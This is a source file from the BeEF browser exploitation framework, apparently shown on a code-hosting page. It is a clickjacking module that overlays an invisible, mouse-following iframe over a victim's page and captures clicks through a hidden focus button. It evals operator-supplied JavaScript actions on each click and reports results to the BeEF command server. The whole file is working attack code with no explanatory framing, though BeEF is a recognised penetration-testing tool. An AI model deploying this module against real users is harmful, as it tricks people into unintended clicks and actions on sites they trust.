Path: blob/master/modules/social_engineering/clickjacking/command.js
1873 views
/*1* Copyright (c) 2006-2026Wade Alcorn - [email protected]2* Browser Exploitation Framework (BeEF) - https://beefproject.com3* See the file 'doc/COPYING' for copying permission4*/56beef.execute(function() {7var elems = {8outerFrame: "cjFrame",9innerFrame: "innerFrame",10btn: "persistentFocusBtn"11}1213var clicked = 0;14var src = "<%= @iFrameSrc %>";15var secZone = "<%= @iFrameSecurityZone %>";16var sandbox = "<%= @iFrameSandbox %>";17var visibility = "<%= @iFrameVisibility %>";1819var clicks = [20{js:"<%= URI::Parser.new.escape(@clickaction_1) %>", posTop:cleanPos("<%= @iFrameTop_1 %>"), posLeft:cleanPos("<%= @iFrameLeft_1 %>")},21{js:"<%= URI::Parser.new.escape(@clickaction_2) %>", posTop:cleanPos("<%= @iFrameTop_2 %>"), posLeft:cleanPos("<%= @iFrameLeft_2 %>")},22{js:"<%= URI::Parser.new.escape(@clickaction_3) %>", posTop:cleanPos("<%= @iFrameTop_3 %>"), posLeft:cleanPos("<%= @iFrameLeft_3 %>")},23{js:"<%= URI::Parser.new.escape(@clickaction_4) %>", posTop:cleanPos("<%= @iFrameTop_4 %>"), posLeft:cleanPos("<%= @iFrameLeft_4 %>")},24{js:"<%= URI::Parser.new.escape(@clickaction_5) %>", posTop:cleanPos("<%= @iFrameTop_5 %>"), posLeft:cleanPos("<%= @iFrameLeft_5 %>")},25{js:"<%= URI::Parser.new.escape(@clickaction_6) %>", posTop:cleanPos("<%= @iFrameTop_6 %>"), posLeft:cleanPos("<%= @iFrameLeft_6 %>")},26{js:"<%= URI::Parser.new.escape(@clickaction_7) %>", posTop:cleanPos("<%= @iFrameTop_7 %>"), posLeft:cleanPos("<%= @iFrameLeft_7 %>")},27{js:"<%= URI::Parser.new.escape(@clickaction_8) %>", posTop:cleanPos("<%= @iFrameTop_8 %>"), posLeft:cleanPos("<%= @iFrameLeft_8 %>")},28{js:"void(0);", posTop:'-', posLeft:'-'}29]3031var iframeAttrs = {};32iframeAttrs.src = src;33(secZone == "on") ? iframeAttrs.security = "restricted" : "";34(sandbox == "on") ? iframeAttrs.sandbox = "allow-forms" : "";3536var iframeStyles = {};37iframeStyles.width = "<%= @iFrameWidth %>px";38iframeStyles.height = "<%= @iFrameHeight %>px";39iframeStyles.opacity = (visibility == "on") ? "0.6" : "0.0";40iframeStyles.filter = (visibility == "on") ? "alpha(opacity=60)" : "alpha(opacity=0)";4142var innerPos = {};43//initialize iframe44innerPos.top = clicks[0].posTop + "px";45innerPos.left = clicks[0].posLeft + "px";4647//returns a negative version of a number, or if NaN returns a dash48function cleanPos(coordinate) {49var iCoordinate = parseInt(coordinate);50if (isNaN(iCoordinate))51return "-";52else if (iCoordinate > 0)53return (-1 * iCoordinate)54return iCoordinate55}5657function init(params, styles, stylesInner, callback) {58var container = $j.extend(true, {'border':'none', 'position':'absolute', 'z-index':'100000', 'overflow':'hidden'}, styles);59var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner);6061var containerDiv = $j('<div id="' + elems.outerFrame + '"></div>').css(container).prependTo('body');62var containerDiv = $j('<input id="' + elems.btn + '" type="button" value="invisible" style="width:1px;height:1px;opacity:0;alpha(opacity=0);margin-left:-200px" />').appendTo('body');6364var innerIframe = $j('<iframe id="' + elems.innerFrame + '" scrolling="no" />').attr(params).css(inner).load(callback).prependTo('#' + elems.outerFrame);6566return containerDiv;67}6869function step1(){70var btnSelector = "#" + elems.btn;71var outerSelector = "#" + elems.outerFrame;72var btnObj = $j(btnSelector);73var outerObj = $j(outerSelector);7475$j("body").mousemove(function(e) {76$j(outerObj).css('top', e.pageY);77$j(outerObj).css('left', e.pageX);78});7980$j(btnObj).focus();81$j(btnObj).focusout(function() {82cjLog("Iframe clicked");83iframeClicked();84});85}8687function iframeClicked(){88clicked++;89var jsfunc = '';90jsfunc = clicks[clicked-1].js;91innerPos.top = clicks[clicked].posTop;92innerPos.left = clicks[clicked].posLeft;93eval(unescape(jsfunc));94setTimeout(function(){95updateIframePosition();96}, <%= @clickDelay %>);9798setTimeout(function(){99var btnSelector = "#" + elems.btn;100var btnObj = $j(btnSelector);101$j(btnObj).focus();102103//check if there are any more actions to perform104try {105if (isNaN(parseInt(clicks[clicked].posTop))) {106removeAll(elems);107throw "No more clicks.";108}109} catch(e) {110cjLog(e);111}112}, 200);113}114115function updateIframePosition(){116var innerSelector = "#" + elems.innerFrame;117var innerObj = $j(innerSelector);118$j(innerObj).css('top', innerPos.top + 'px');119$j(innerObj).css('left', innerPos.left + 'px');120}121122//Remove outerFrame and persistent button123function removeAll(){124$j("#" + elems.outerFrame).remove();125$j("#" + elems.btn).remove();126}127128function cjLog(msg){129beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + msg);130}131132init(iframeAttrs, iframeStyles, innerPos,133function() {134step1();135cjLog("Iframe successfully created.");136}137);138});139140141